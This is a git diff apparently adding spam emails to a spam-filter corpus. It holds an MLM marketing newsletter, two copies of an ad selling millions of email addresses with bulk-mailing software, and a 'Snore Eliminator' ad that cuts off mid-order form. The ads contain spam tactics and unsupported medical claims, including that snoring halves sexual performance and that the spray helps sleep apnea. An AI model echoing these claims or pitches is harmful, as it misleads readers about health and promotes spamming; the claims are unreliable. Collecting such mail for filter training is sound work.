    Copyright 2001 AEOpublishing.com + +------------------------------------------------ +email: YourMembership2@AEOpublishing.com +voice: +web: http://www.AEOpublishing.com +------------------------------------------------ + +This email has been sent to jm@netnoteinc.com at your +request, by Your Membership Newsletter Services. + +Visit our Subscription Center to edit your interests or unsubscribe. +http://ccprod.roving.com/roving/d.jsp?p=oo&id=bd7n7877.7giv5d57&m=bd7n7877&ea=jm@netnoteinc.com + +View our privacy policy: http://ccprod.roving.com/roving/CCPrivacyPolicy.jsp + +Powered by +Constant Contact(R) +www.constantcontact.com + + + + + + + + + + +---1347074105.994417746234.JavaMail.RovAdmin.rovweb002 +Content-Type: text/html; charset=iso-8859-1 + + + + + Your Membership Community & Commentary, 07-06-01 + + + + +

    + + + + +
    + + + + + + + + + + + + + +
    Your Membership Community & Commentary
      It's All About Making MoneyJuly 6, 2001  
    +

    + + + + + + + + +
    + + + + + +
    + + in this issue + +
    + + + + + + + + + + +
    + +
    Internet Success Through Simplicity +

    Member Showcase +

    +

    Win A FREE Ad In Community & Commentary +

    +

    +


    + + + + +
    Today's Special Announcement:
    + +
    +
    We can help you become an Internet Service
    provider within 7 days or we will give you $100.00!! +
    Click Here +
    We have already signed 300 ISPs on a 4 year contract, +
    see if any are in YOUR town at: +
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    +
     

    +You are a member in at least one of these programs +- You should be in them all!
    + BannersGoMLM.com +
    ProfitBanners.com +
    CashPromotions.com +
    MySiteInc.com +
    TimsHomeTownStories.com +
    FreeLinksNetwork.com +
    MyShoppingPlace.com +
    BannerCo-op.com +
    PutPEEL.com +
    PutPEEL.net +
    SELLinternetACCESS.com +
    Be-Your-Own-ISP.com +
    SeventhPower.com

    +

    +     + +

    		+ + + + + + + + + + + + + + + +
       + + +
    Information to provide you with the absolute +
    best low and no cost ways of providing traffic +
    to your site, helping you to capitalize on the power
    and potential the web brings to every Net-Preneur.
    +--- This Issue Contains Sites Who Will Trade Links With You! ---
    +

    +
    + + + + + + + + + + + +
  • Internet Success Through Simplicity
    •   
    Every day of the week, I get questions from people all +
    over the world, including my No BS GIMG Members, +
    wanting to know some of the most valuable "secrets" +
    to my on-going internet success. +
    +
    Let me say, above all else, I don't believe there are any +
    *true* "secrets" to success on the Net. What you do to +
    become successful in the online world is not a "secret", +
    in my opinion. Most successful people follow simple, clear, +
    repeatedly-proven strategies to succeed, whether on the +
    Net or off. +
    +
    But, when it comes to someone asking for advice, +
    consultation, or simply asking, "What's your secret?", +
    I have to blush & say ... +
    +
    Persistence and personality. +
    +
    Of course, I always follow the advice with my own little +
    disclaimer: What makes ME successful may not work the +
    same for YOU ... & your first lesson is to get over +
    the deep-seeded idea that success - of any kind, in +
    my opinion - is somehow an unknown, unattainable secret. +
    +
    Clearly, it is not. It's not unknown. It's not unattainable. +
    It's not years of digging to find the "secrets" to internet riches. +
    +
    One thing that "gets to me" so often in my work as an +
    Internet Consultant, author and Internet Success +
    Strategist is that so many people on the Net seem to +
    have this incredibly huge mental block that stands +
    between themselves and success on the Net. It's +
    almost as if they've been barraged by so many claims +
    of what works and what doesn't work, and so many +
    LONG, complicated routes to actually succeeding in +
    their online venture, that "success" is the
    equivelant of a 100-foot high brick wall. +
    +
    It's NOT that difficult, my friends! It is NOT that complicated!! +
    +
    Long-time friend and business associate Rick Beneteau +
    has a new eBook out called Branding YOU & Breaking +
    the Bank. Get it!! +
    http://www.roibot.com/bybb.cgi?IM7517_bybtb . +
    But, the reason I mention this is the fact that he talks +
    so dynamically about the true simplicity of making your +
    online venture a success. +
    +
    And, yes, Rick & I come from the same school of +
    "self marketing" - marketing YOU! Obviously, that's +
    the core of his excellent new ebook, and I couldn't +
    agree with him more. +
    +
    Point being, *you* ARE everything you do online to +
    succeed. You ARE your web site, your business, your +
    marketing piece, your customer service, your customers' +
    experiences with your business -- ALL of it, is YOU! +
    Read his ebook & you'll see more of what I'm saying. +
    +
    The matter at hand is that brick wall you might have +
    standing high as you can see, blocking the path +
    between you & internet success. Listen to me - it is +
    not real OK? It doesn't exist. There's nothing there +
    to fear to begin with ... get over it!! +
    +
    What I'm telling you is, the only thing standing between +
    you and the success you most desire ... is yourself. +
    When you realize this, you will tear down that brick +
    wall by means of complete and instantaneous +
    disintegration. It will no longer exist *in your mind*, +
    which is the only "real" place it ever was anyhow! +
    +
    Yes, "persistence and personality" inherently includes +
    honesty, integrity, accountability, and many other +
    qualities but you also have to hone in on your ultimate +
    goals and realize that probably the most valuable, +
    powerful key to your success ... is YOU! +
    +
    That may be the most incredible "secret" we ever +
    uncover in our lifetime! And, trust me, that brick wall +
    won't ever get in your way again ... unless you let it. +
    +
    Talk about SIMPLE!! +
    +
    ------------------------------------------------------ +
    Bryan is a "veteran" Internet Consultant, Author, +
    Internet Success Strategist & Marketer. He publishes +
    Mega-Success.com Chronicles to over 11,500 subscribing +
    members, authors articles which appear all over the +
    Net, and helps hundreds of wealth-hungry people in +
    their journey to Internet success. +
    +
    Bryan is also Director of his No BS Guerrilla Internet +
    Marketing Group at http://NoBSGuerrillaInternetMarketing.com +
    & a fantastic new Joint Venture Partners program +
    for that site. +
    +
    Bryan Hall is a Founding Member and the Development +
    Consultant for the prestigious iCop(TM) at +
    http://www.i-cop.org/1016.htm +
    +
    You can reach Bryan at 877.230.3267 or by +
    emailing him directly at bryan.hall@mega-success.com

  • Member Showcase
    •   

    Examine carefully - Those with email addresses included WILL +
    TRADE LINKS with you... You are encouraged to contact them. +
    There Are Many Ways To Build A Successful Business - Just look at +
    these successful sites & programs other members are involved +in... +
    ------------------------------------------------- +

    Get INSANE amounts of traffic to your website. +
    Purchase 10,000 Guaranteed Visitors to your site +
    and receive 5,000 free. MORE TRAFFIC = MORE MONEY! +
    Less than 2cents a visitor.  Space is limited. +
    Order Now! http://www.freepicklotto.com  +
    Trade Links - businessopps@aol.com +
    ------------------------------------------------- +

    Stop Smoking - Free Lesson !! +
    Discover the Secret to Stopping Smoking. +
    To Master these Powerful Techniques, Come to +
    http://www.breath-of-life.net +for your Free Lesson. +
    Act Now!  P.S. Tell someone you care about. +
    Trade Links - jturco3@hotmail.com +
    ------------------------------------------------- +

    Celebration Sale! +
    $99.00 on Casinos/Sportsbetting sites, Lingerie stores, +
    Gift Stores, Adult Sites & Toy Stores. +
    Mention Ad#BMLM99 to receive this special sale price. +
    Order Now! +
    http://www.cyberopps.com/?=BMLM99 +
    ------------------------------------------------- +

    Affiliates of the World! +
    Top rated affiliate programs, excellent business opportunities, +
    great marketing resources and free advertising for you! +
    Visit the site to trade links. http://www.affiliates.uk.com +
    Trade Links - adrianbold@affiliates.uk.com +
    ------------------------------------------------- +

    JUST BEEN RELEASED!! +
    Internet Marketing guru Corey Rudl has just released a +
    BRAND NEW VERSION of his #1 best-selling Internet Marketing +
    Course,"The Insider Secret's to Marketing Your Business on +
    the Internet". A MUST HAVE! So don't hesitate, +
    visit.. http://www.adminder.com/c.cgi?start&bgmlmezine +
    ------------------------------------------------- +

    We have a 260 page catalog with over 3000 gift items for men, +
    women, children - A gift for everyone. We show 100 gift items +
    on our web site alone, with the catalog  you have access to +
    the rest. We also feel we have the best prices on the web. +
    Visit at http://www.treasuresoftomorrow.net +
    Trade Links - george1932me@yahoo.com +
    ------------------------------------------------- +

    If you have a product, service, opportunity or quality merchandise +
    that appeals to people worldwide, reach your targeted audience! +
    For a fraction of what other large newsletters charge you can exhibit +
    your website here, and trade links for only $8 CPM.  Compare +that +
    to the industry average of $10-$15 CPM. Why?... Because as a +
    valuable member we want you to be successful! Order today - +
    Showcases are limited and published on a first come, first serve +basis. +
    For our secure order form, click here: http://bannersgomlm.com/ezine +

  • Win A FREE Ad In Community & Commentary
    •   

    To keep this interesting, how about this, every month we'll +
    draw a name from the replies and that person will win one +
    Sponsorship Showcase ad in the Community & Commentary, for FREE. +
    That's a value of over $700.00! Respond to each weekly survey, +
    and increase your chances to win with four separate entries. +

               QUESTION +OF THE WEEK (07/06/01)... +
         No right or wrong answers, and just by answering +
         you are entered to win a Showcase ad - Free! +

         ~~~ Do you spend more or less time ~~~ +
          ~~~ online in the summer months? ~~~ +

         More        +mailto:one@AEOpublishing.com +
         Less        +mailto:two@AEOpublishing.com +
         Same         +mailto:three@AEOpublishing.com +

    To make this as easy as possible for you, just click on the +
    e-mail address that matches your answer - you do not need to +
    enter any information in the subject or body of the message. +

    ** ADD YOUR COMMENTS!  Follow directions above and +
    add your comments in the body of the message, and we'll +
    post the best commentaries along with the responses. +

    You will automatically be entered in our drawing for a free +
    Sponsorship ad in the Community & Commentary. Please +
    respond only one time per question.  Multiple responses +
    from the same individual will be discarded. +

    +Last Weeks's Results (06/29/01) +

         ~~~ What is the goal of your website? ~~~ +

         Sell        40% +
         Get Leads        20% +
         Build Branding      5% +
         Provide Information  20% +
         Other         15% +

    +Comments: +
    ---------------------------- +
    Our web site is initially designed to get leads, build +branding, and provide information.......with a 12 month goal +of selling our service more specifically via a shopping cart. +We offer a service and at this time take deposits and payments +via our site. +Our site has been up less than 2 months and our expectation +was that we would refer to our site for leads developed in +traditional media and by referral for more information, and +to make a professional impression on someone you may not +meet before providing service. +The growth of our customer base shopping on line has grown +outside of anyone's expectations.......certainly mine and +I've been in this business for 25 years. The Internet is not +dead in the horse business, it is just getting it's legs, and +the folks using it want to get all the ancillary services +on-line as well. Our site (the first we've developed) has +exceeded our expectations, and we aren't satisfied with it +yet.......we just wanted to get it there for information! +
    Jeff and Rebecca Marks http://www.grand-champion.com +

    ------------------------------------------------- +
    Branding. While quality customer service and product +have been and will always be our top priority brand building +Zesto is our most challenging task. +
    Zesto.com ranks very high and most often #1 or 2 on +all major search engines and directories even Yahoo entering +the keyword zesto. The problem is simply that,who if anyone +would type the keyword zesto, therefore we must try to +build our brand by ensuring that generic keywords associated with our products (citrus peel) are used throughout +our site as well as search engine submissions. +
    Fortunately owning a non generic domain short, easy +to remember and trademarked works in our favor because +the marketability potential is limitless. +
    Arlene Turner http://www.zesto.com

    •   To change your subscribed address, +
    send both new and old address to Submit +
    See below for unsubscribe instructions. + +

    Please send suggestions and comments to: Editor +
    I invite you to send your real successes and showcase +your strategies and techniques, or yes, even your total bombs, +"Working Together We Can All Prosper." Submit +

    For information on how to sponsor Your Membership +Community & Commentary visit: Sponsorship +Showcase +

    Copyright 2001 AEOpublishing.com

    + + +
    + + +
    + + email us  ::  visit our site +
    + phone: +
    + + + + + This email was sent to
    jm@netnoteinc.com,
    at your request,
    by Your Membership Newsletter Services. +

    Visit our Subscription Center
    to edit your interests or unsubscribe. +

    View our privacy policy. +

    Powered by
    Constant Contact +     +

    +

    + +

    +
    + + +---1347074105.994417746234.JavaMail.RovAdmin.rovweb002-- + + + diff --git a/bayes/spamham/spam_2/00078.f318607d8f4699d51f456fea10838c5a b/bayes/spamham/spam_2/00078.f318607d8f4699d51f456fea10838c5a new file mode 100644 index 0000000..5cf922c --- /dev/null +++ b/bayes/spamham/spam_2/00078.f318607d8f4699d51f456fea10838c5a @@ -0,0 +1,212 @@ +From V33chLf6B@excite.com Sat Jul 7 01:57:38 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from rhenium (rhenium.btinternet.com [194.73.73.93]) by + mail.netnoteinc.com (Postfix) with ESMTP id 583EF11436F for + ; Sat, 7 Jul 2001 00:57:37 +0000 (Eire) +Received: from [213.123.112.219] (helo=gDJlpkOGB) by rhenium with smtp + (Exim 3.22 #9) id 15IgPB-0004Aj-00; Sat, 07 Jul 2001 01:57:08 +0100 +Date: 06 Jul 01 8:00:34 PM +From: V33chLf6B@excite.com +Message-Id: +To: bestnamesoncd@china.com +Subject: Reach millions on the internet!! + + +Dear Consumers, Increase your Business Sales! How?? By +targeting millions of buyers via e-mail !! +15 MILLION EMAILS + Bulk Mailing Software For Only $100.00 + super low price! ACT NOW !!! + +Our Fresh Addresses Will Bring You +Incredible Results! + + +If you REALLY want to get the word out regarding +your services or products, Bulk Email is the BEST +way to do so, PERIOD! Advertising in newsgroups is +good but you're competing with hundreds even THOUSANDS +of other ads. Will your customer's see YOUR ad in the +midst of all the others? + +Free Classifieds? (Don't work) +Web Site? (Takes thousands of visitors) +Banners? (Expensive and iffy) +E-Zine? (They better have a huge list) +Search Engines? (Easily buried with thousands of others) + +Bulk Email will allow you to DIRECTLY contact your +potential customers. They are much more likely to +take the time to read about what you have to offer +if it was as easy as reading it via email rather +than searching through countless postings in +newsgroups. +The list's are divided into groups and are compressed. +This will allow you to use the names right off the cd. +ORDER IN THE NEXT 72 hours AND RECEIVE 4 BONUSES!! + +*BONUS #1 Receive an additional cd-rom with millions of fresh, +deliverable general internet e-mail addresses free!! + +*BONUS #2 Receive 2000 how to books, reports and manuals on cd-rom with +reprint resale rights! Produce for pennies and resell for BIG dollars! + +*BONUS #3 Receive the Mass Mailer bulk delivery software, with full +operating instructions. This software will get the mail out QUICK! + +*BONUS #4 Receive the Informational Guide to bulk e-mail. This guide +will give you all the information you need to get started! + +THIS IS A ONE TIME PACKAGE DEAL WORTH HUNDREDS OF DOLLARS!! +ACT NOW! THIS IS A LIMITED TIME OFFER! ORDER WHILE SUPPLIES LAST! +RECEIVE THIS DREAM PACKAGE FOR THE UNBELIEVABLE LOW, LOW PRICE OF +ONLY $100.00 + + + ORDERING INFORMATION: + +Send check are money order to: + +SELLERS COMMUNICATIONS +2714 WEST 5th +North Platte, Ne 69101 +U.S.A. + + + CHECK BY FAX SERVICES OR CREDIT CARO INFO: +O R D E R N O W . . . SAME DAY SERVICE (M-F) if your order +is received before 3pm Central . To place an order, you can call us at: +1-308-534-2098 Are fax your order to 1-208-975-0773 + +This Number is for credit Card Orders Only!!! + CHECK BY FAX SERVICES! + + +__________________________________________ + +To order, via credit card simply cut/paste and print out the +EZ ORDER FORM below and fax to our office today. + + + ***** NOW ONLY $100! ***** + +This "Special Price" is in effect for the next seven days, +after that we go back to our regular price of $250.00 ... +Don't delay... you can be in business tomorrow! + +We accept Visa, Mastercard, Amex, Disc and Checks by Fax. + +----------------------Cut & Paste---------------------- +---------------------EZ Order Form--------------------- + +_____Yes! I want everything! I am ordering within 72 hours. +Include my FREE "Business On A Disk" bonus along with your +Millions of E-Mail addresses on CD (plus 1,093,808 bonus addresses) +for the special price of only $100.00 + shipping as indicated +below. + +_____Yes! I missed the 72 hour special, but I am ordering +CD WITH, super clean e-mail addresses within 7 days for the +"special" price of only $250.00 + s&h. + +_____Oop's I missed the 72 hour and 7 day "specials". I am +ordering The Cd at the regular price of $250.00 + s&h. + + ***PLEASE SELECT YOUR SHIPPING OPTION*** + +____I would like to receive my package FedEx OVERNIGHT. I am +including $15 for shipping. (Hawaii & Alaska $20 - Canada $25, +all other International add an *additional* $25 [$40 total] for shipping) + +____I would like to receive my package FedEx 2 DAY delivery. +I'm including $10 for shipping. (Sorry no Canada or International +delivery - Continental U.S. shipping addresses only) + + ***Please Print Carefully*** + +NOTE: Orders cannot be shipped without complete information +including your signature. No exceptions! + +NAME____________________________________________________ + +COMPANY NAME____________________________________________ + +ADDRESS_________________________________________________ +(FedEx can only ship to street addresses - no P.O. boxes) + +CITY, STATE, ZIP________________________________________ + +PHONE NUMBER____________________________________________ +(required for shipping & tracking) + +EMAIL ADDRESS___________________________________________ +(Print Carefully - required in case we have a question and to +send you a confirmation that your order has been shipped and for + technical support if you order within 24 hrs) + +TYPE OF CREDIT CARD: + +______VISA _____MASTERCARD ______AMEX ______DISC + +CREDIT CARD# __________________________________________ + +EXPIRATION DATE________________________________________ + +NAME ON CARD___________________________________________ + +TOTAL AMOUNT (Including Shipping): $___________________ + +DATE:x__________________ + +(Required) SIGNATURE:x_________________________________ +I understand that I am purchasing the e-mail address on CD, +and authorize the above charge to my credit card, the addresses are not rented, +but are mine to use for my own mailing, over-and-over. Free bonuses are included, +but cannot be considered part of the financial transaction. I understand that it +is my responsibility to comply with any laws applicable to my local area. As with +all software, once opened the CD may not be returned, however, if found defective +it will be replaced with like product at no charge. + +O R D E R N O W . . . SAME DAY SERVICE (M-F) if your order +is received before 3pm Central . To place an order, you can call us at: + 1-308-534-2098 Are fax your order to 1-208-975-0773 +This Number is for credit Card Orders Only!!! + CHECK BY FAX SERVICES! + +If you would like to fax a check, paste your check below and fax it to our office +along with the EZ Order Form forms to: 1-520-244-5912 + +********************************************************** + + ***24 HOUR FAX SERVICES*** PLEASE PASTE YOUR + + CHECK HERE AND FAX IT TO US AT 1-208-975-0773 + + +********************************************************** + +If You fax a check, there is no need for you to mail the +original. We will draft a new check, with the exact +information from your original check. All checks will be +held for bank clearance. (7-10 days) Make payable to: +"SELLERS COMMUNICATIONS" + + +-=-=-=-=--=-=-=-=-=-=-=Remove Instructions=-=-=-=-=-=-=-=-=-=-=-= + +************************************************************** +Do not reply to this message - +To be removed from future mailings: +mailto:nomore2001@asean-mail.com?Subject=Remove +************************************************************** + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00079.7a1b9cd54acec8774ef833df17206630 b/bayes/spamham/spam_2/00079.7a1b9cd54acec8774ef833df17206630 new file mode 100644 index 0000000..ece61b7 --- /dev/null +++ b/bayes/spamham/spam_2/00079.7a1b9cd54acec8774ef833df17206630 @@ -0,0 +1,214 @@ +From 3cKq2amCZ@hotmail.com Sat Jul 7 02:01:40 2001 +Return-Path: <3cKq2amCZ@hotmail.com> +Delivered-To: yyyy@netnoteinc.com +Received: from gadolinium.btinternet.com (gadolinium.btinternet.com + [194.73.73.111]) by mail.netnoteinc.com (Postfix) with ESMTP id + 82B2111436F for ; Sat, 7 Jul 2001 01:01:39 +0000 + (Eire) +Received: from [213.123.112.219] (helo=1Yop2245k) by + gadolinium.btinternet.com with smtp (Exim 3.22 #9) id 15IgTM-0002Bg-00; + Sat, 07 Jul 2001 02:01:28 +0100 +Date: 06 Jul 01 8:04:54 PM +From: 3cKq2amCZ@hotmail.com +Message-Id: +To: bestnamesoncd@china.com +Subject: Reach millions on the internet!! + + +Dear Consumers, Increase your Business Sales! How?? By +targeting millions of buyers via e-mail !! +15 MILLION EMAILS + Bulk Mailing Software For Only $100.00 + super low price! ACT NOW !!! + +Our Fresh Addresses Will Bring You +Incredible Results! + + +If you REALLY want to get the word out regarding +your services or products, Bulk Email is the BEST +way to do so, PERIOD! Advertising in newsgroups is +good but you're competing with hundreds even THOUSANDS +of other ads. Will your customer's see YOUR ad in the +midst of all the others? + +Free Classifieds? (Don't work) +Web Site? (Takes thousands of visitors) +Banners? (Expensive and iffy) +E-Zine? (They better have a huge list) +Search Engines? (Easily buried with thousands of others) + +Bulk Email will allow you to DIRECTLY contact your +potential customers. They are much more likely to +take the time to read about what you have to offer +if it was as easy as reading it via email rather +than searching through countless postings in +newsgroups. +The list's are divided into groups and are compressed. +This will allow you to use the names right off the cd. +ORDER IN THE NEXT 72 hours AND RECEIVE 4 BONUSES!! + +*BONUS #1 Receive an additional cd-rom with millions of fresh, +deliverable general internet e-mail addresses free!! + +*BONUS #2 Receive 2000 how to books, reports and manuals on cd-rom with +reprint resale rights! Produce for pennies and resell for BIG dollars! + +*BONUS #3 Receive the Mass Mailer bulk delivery software, with full +operating instructions. This software will get the mail out QUICK! + +*BONUS #4 Receive the Informational Guide to bulk e-mail. This guide +will give you all the information you need to get started! + +THIS IS A ONE TIME PACKAGE DEAL WORTH HUNDREDS OF DOLLARS!! +ACT NOW! THIS IS A LIMITED TIME OFFER! ORDER WHILE SUPPLIES LAST! +RECEIVE THIS DREAM PACKAGE FOR THE UNBELIEVABLE LOW, LOW PRICE OF +ONLY $100.00 + + + ORDERING INFORMATION: + +Send check are money order to: + +SELLERS COMMUNICATIONS +2714 WEST 5th +North Platte, Ne 69101 +U.S.A. + + + CHECK BY FAX SERVICES OR CREDIT CARO INFO: +O R D E R N O W . . . SAME DAY SERVICE (M-F) if your order +is received before 3pm Central . To place an order, you can call us at: +1-308-534-2098 Are fax your order to 1-208-975-0773 + +This Number is for credit Card Orders Only!!! + CHECK BY FAX SERVICES! + + +__________________________________________ + +To order, via credit card simply cut/paste and print out the +EZ ORDER FORM below and fax to our office today. + + + ***** NOW ONLY $100! ***** + +This "Special Price" is in effect for the next seven days, +after that we go back to our regular price of $250.00 ... +Don't delay... you can be in business tomorrow! + +We accept Visa, Mastercard, Amex, Disc and Checks by Fax. + +----------------------Cut & Paste---------------------- +---------------------EZ Order Form--------------------- + +_____Yes! I want everything! I am ordering within 72 hours. +Include my FREE "Business On A Disk" bonus along with your +Millions of E-Mail addresses on CD (plus 1,093,808 bonus addresses) +for the special price of only $100.00 + shipping as indicated +below. + +_____Yes! I missed the 72 hour special, but I am ordering +CD WITH, super clean e-mail addresses within 7 days for the +"special" price of only $250.00 + s&h. + +_____Oop's I missed the 72 hour and 7 day "specials". I am +ordering The Cd at the regular price of $250.00 + s&h. + + ***PLEASE SELECT YOUR SHIPPING OPTION*** + +____I would like to receive my package FedEx OVERNIGHT. I am +including $15 for shipping. (Hawaii & Alaska $20 - Canada $25, +all other International add an *additional* $25 [$40 total] for shipping) + +____I would like to receive my package FedEx 2 DAY delivery. +I'm including $10 for shipping. (Sorry no Canada or International +delivery - Continental U.S. shipping addresses only) + + ***Please Print Carefully*** + +NOTE: Orders cannot be shipped without complete information +including your signature. No exceptions! + +NAME____________________________________________________ + +COMPANY NAME____________________________________________ + +ADDRESS_________________________________________________ +(FedEx can only ship to street addresses - no P.O. boxes) + +CITY, STATE, ZIP________________________________________ + +PHONE NUMBER____________________________________________ +(required for shipping & tracking) + +EMAIL ADDRESS___________________________________________ +(Print Carefully - required in case we have a question and to +send you a confirmation that your order has been shipped and for + technical support if you order within 24 hrs) + +TYPE OF CREDIT CARD: + +______VISA _____MASTERCARD ______AMEX ______DISC + +CREDIT CARD# __________________________________________ + +EXPIRATION DATE________________________________________ + +NAME ON CARD___________________________________________ + +TOTAL AMOUNT (Including Shipping): $___________________ + +DATE:x__________________ + +(Required) SIGNATURE:x_________________________________ +I understand that I am purchasing the e-mail address on CD, +and authorize the above charge to my credit card, the addresses are not rented, +but are mine to use for my own mailing, over-and-over. Free bonuses are included, +but cannot be considered part of the financial transaction. I understand that it +is my responsibility to comply with any laws applicable to my local area. As with +all software, once opened the CD may not be returned, however, if found defective +it will be replaced with like product at no charge. + +O R D E R N O W . . . SAME DAY SERVICE (M-F) if your order +is received before 3pm Central . To place an order, you can call us at: + 1-308-534-2098 Are fax your order to 1-208-975-0773 +This Number is for credit Card Orders Only!!! + CHECK BY FAX SERVICES! + +If you would like to fax a check, paste your check below and fax it to our office +along with the EZ Order Form forms to: 1-520-244-5912 + +********************************************************** + + ***24 HOUR FAX SERVICES*** PLEASE PASTE YOUR + + CHECK HERE AND FAX IT TO US AT 1-208-975-0773 + + +********************************************************** + +If You fax a check, there is no need for you to mail the +original. We will draft a new check, with the exact +information from your original check. All checks will be +held for bank clearance. (7-10 days) Make payable to: +"SELLERS COMMUNICATIONS" + + +-=-=-=-=--=-=-=-=-=-=-=Remove Instructions=-=-=-=-=-=-=-=-=-=-=-= + +************************************************************** +Do not reply to this message - +To be removed from future mailings: +mailto:nomore2001@asean-mail.com?Subject=Remove +************************************************************** + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00080.2dda9e4297c6b66bff478c9d2d3756f1 b/bayes/spamham/spam_2/00080.2dda9e4297c6b66bff478c9d2d3756f1 new file mode 100644 index 0000000..e16c616 --- /dev/null +++ b/bayes/spamham/spam_2/00080.2dda9e4297c6b66bff478c9d2d3756f1 @@ -0,0 +1,264 @@ +From Otto191@earthlink.net Sat Jul 28 04:10:57 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from mail.yj.co.kr (unknown [211.202.3.130]) by + mail.netnoteinc.com (Postfix) with SMTP id 8ABAF1508E6; Sat, + 28 Jul 2001 03:10:54 +0000 (Eire) +Received: from mpczx.uksyz@21cn.com (unverified [64.23.60.11]) by + mail.yj.co.kr (EMWAC SMTPRS 0.83) with SMTP id ; + Sat, 28 Jul 2001 12:07:43 +0900 +Date: Sat, 28 Jul 2001 12:07:43 +0900 +Message-Id: +From: ndtuftrzzsglsvnz@uksyz@21cn.com +To: pluleuorxhygzccr@cs.com +Reply-To: +MIME-Version: 1.0 +Subject: Why not try? . aknmq +Sender: Otto191@earthlink.net + + + + + + + + + + + +

    Snoring problems? Let Snore +Eliminator's all natural ingredients help you +sleep!       1r

    +

    Is snoring +keeping you up all night? No +more sleepless nights with +Snore Eliminator!!

    +

    Let your family sleep again by using the Snore Eliminator!

    +

    Do you know someone with a snoring problem? Snore Eliminator will help them +and they will love you for it.

    +

    Improve your sexual performance by reducing snoring and thus increasing +oxygen to your body!!

    +     +

    People who snore have a higher risk of developing heart attacks, high blood +pressure, or strokes!! Snoring +also causes sleep disturbances that lead to increased anxiety, +hyperirritability, and decreased memory!

    +

    Individuals who snore have a 90% chance of daytime fatigue. Nine out of every +ten victims are male!

    +     +

    How the Snore Eliminator will help you!

    + +

    What Causes Snoring?

    +     +

    Over-relaxed throat and tongue muscles due to poor throat muscle

    +

    Excessive fat on the throat

    +

    Accumulation of secretion in the back of the throat and

    +

    Throat swelling from allergies and food

    +

    Heavy snoring is often associated with apnea, or the stopping +of breathing, during sleep. As +an individuals sleeps his or her sleeping pattern is disrupted and fragmented +due to snoring, thus they are never well rested. This can be a very hazardous +problem if someone is not getting proper REM sleep. Snoring is the audible +symptom of a blocked airway during sleep.

    + +

    The noise is caused by a vibration in the soft palate as the lungs pull hard +to take in a weakened current of incoming air. This blockage may result +from any number of circumstances, and these offer clues to get rid of the +problem.

    +

    Snoring is also more than likely to occur among people who sleep on their +backs; the tongue falls back toward the throat and partly closes the airway.

    +     +

    The hidden dangers of snoring?

    +     +
    +
    + +

    Snoring could increase the chances of a heart attack if not treated

    +

    Hypertension and increased anxiety are associated with snoring

    +

    Snoring causes sleep apnea a serious treatable medical condition

    +
    +
    + +

    Snoring decreases sexual performance +by half, due to lack of oxygen +to the brain which decreases sexual responsiveness.

    +

    Most people who snore have a shortage +of oxygen for a +significant portion of that person's life. In recent studies, daytime fatigue +and cardiovascular disorder are related to snoring. In a few cases, heavy +snoring is a sign of potentially life -threatening problem. Sleep apnea in which +breathing stops for a second or even minutes at a time and finally resumes with +snorting and tossing around. This pattern may be repeated hundreds of times all +night long. The result is chronic oxygen shortage, which leads to abnormal heart +rhythms, high blood pressure, and heart strain.

    + +

    How the Snore Eliminator works!

    +     +

    Snore Eliminator offers a unique break through with its all natural +enzymes which metabolize the +secretions, allowing the body to absorb them into the back of the throat. The +herbs reduce tissue swelling. The result is to open the airway and smooth the +airflow. This in turn eliminates the snoring for hours at a time. It also +reduces the noise made by +breathing through the mouth while sleeping. +By simply spraying the back of the throat, tongue and uvula with our special +formula, manufactured using our patented break through process, the soft tissue +is coated. This allows the throat +a chance to relax thus a +reduced amount of snoring. In most cases snoring is eliminated. Snore Eliminator +coats the throat area with a unique patented process of all natural lubricants.

    + +

    TESTIMONIALS from several of our satisfied customers:

    +     +

    Lorenzo writes...

    +

    I am having a good nights sleep, finally. I used to wake myself up during the +night which was a real bummer as I would not always go back to sleep. Sleeping +through the night is great. Thanks a lot Snore Eliminator.

    +

    PS: My girlfriend loves it as much or more than I do.

    +

    Alex writes...

    +

    My husband uses it for another reason. He has a problem with blocked nasal +passages. While he's asleep the passages close, he stops breathing and he wakes +up gasping. When he takes Snore Eliminator his nose stays clearer and he's able +to sleep more restfully.

    +

    Thank you for a product that has really helped us!

    +

    Glen writes...

    +

    In February 1995, I was diagnosed with severe sleep apnea. A CPAP was the +suggested treatment for my affliction, but it did not help my condition. I heard +your advertisement and ordered a bottle of Snore Eliminator and my sleep +improved immediately. I continue to use it and my sleep has been better than it +had been in years. Thanks.

    +

    Steve writes...

    +

    Let me take this opportunity to thank you for your wonderful product and tell +you how much my wife, Tracy, and I appreciate the quiet nights we have enjoyed +since discovering it. It's very rare when a product actually delivers what it +promises but Snore Eliminator truly does. We have tried most of the other +advertised remedies without any satisfaction and I am very pleased to be able to +write and say that this product is as close as you can get to an absolute +"Miracle".

    +     +

    If you have a snoring problem what can you do? +Who would you turn to? Look no further, the answer to your snoring problems are +over. Let our patented Snoring Eliminator help you get through those +sleepless nights. We guarantee it. In fact, we are so confident in Snore +Eliminator that if you are not 100% satisfied with it you can return the unused +portion for a full refund, no questions asked*

    +

    It is estimated that 90 million Americans, over the age of 18,suffer from +habitual snoring.

    +     +

    How to Use Snore Eliminator:

    +     +

    Open your mouth

    +

    Hold the 4oz bottle about four inches from your open mouth

    +

    Spray one or two application onto the back of the throat.

    +     +

    Snore Eliminator is safe to use nightly because of its' natural ingredients.

    +

    Please note as with any health-related product, it is recommended that you +consult with your physician prior to use if you have any medical conditions.

    +

     

    + +

    A Money Back Guarantee! *

    +     +

    We are so confident in Snore Eliminator that we offer a 30-day money back +guarantee. Merely return the unused portion of Snore Eliminator within 30 days +and we will refund your purchase price with no questions asked!

    +

    Our normal price for Snore Eliminator is $39.95, but for a limited time only, +you can purchase it for only $21.00 +plus $4.95 for shipping +handling. We will also continue to offer you Snore Eliminator at this low price +as long as you purchase from us in the future. To take advantage of this savings +you must order within the next 10 days.

    +     +

    For Shipping OUTSIDE the US please add $11.00.

    +

    Here's How to order

    +     +

    ***********************************************************************

    +

    ORDER TODAY:

    +

    SEND Only $25.95 US

    +

    (CREDIT CARD, CASH, CHECK, OR MONEY ORDER)

    +

    For Shipping OUTSIDE the US please add $11.00.

    +

    or

    +

    2 MONTH SUPPLY for only $42.00!

    +

    **This is a savings of $4.95 per bottle!!

    +

    For Shipping OUTSIDE the US please add $11.00.

    +

    (CREDIT CARD, CASH, CHECK, OR MONEY ORDER)

    +

    Shipping is included!

    +

    To place your order merely fill out the following form and fax to 1-775-898-9.0.5.1.

    +

    If this line is busy, please try faxing to 1-253-541-0.0.7.9.

    +

    or mail to:
